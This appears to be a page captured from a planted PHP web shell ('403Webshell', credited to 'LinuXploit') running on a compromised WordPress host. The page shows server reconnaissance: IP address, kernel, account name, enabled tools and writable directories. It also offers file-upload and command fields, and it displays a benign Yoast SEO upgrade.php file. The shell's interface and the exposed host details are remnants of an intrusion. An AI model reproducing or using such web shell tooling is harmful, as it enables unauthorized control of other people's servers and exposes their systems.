403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/plugins/wordpress-seo/src/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/plugins/wordpress-seo/src/config/upgrade.php
<?php
/**
 * Handles upgrade routines.
 *
 * @package Yoast\YoastSEO\Config
 */

namespace Yoast\WP\Free\Config;

use Yoast\WP\Free\WordPress\Integration;

/**
 * Triggers migrations and other upgrades.
 */
class Upgrade implements Integration {

	/**
	 * The database migration to use.
	 *
	 * @var Database_Migration $database_migration
	 */
	protected $database_migration;

	/**
	 * Upgrade constructor.
	 *
	 * @param Database_Migration $database_migration Database Migration to use.
	 */
	public function __construct( Database_Migration $database_migration ) {
		$this->database_migration = $database_migration;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'wpseo_run_upgrade', array( $this, 'do_upgrade' ) );
	}

	/**
	 * Handles upgrade trigger.
	 *
	 * @param string $version Version that we are upgrading from.
	 *
	 * @return void
	 */
	public function do_upgrade( $version ) {
		$this->database_migration->run_migrations();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit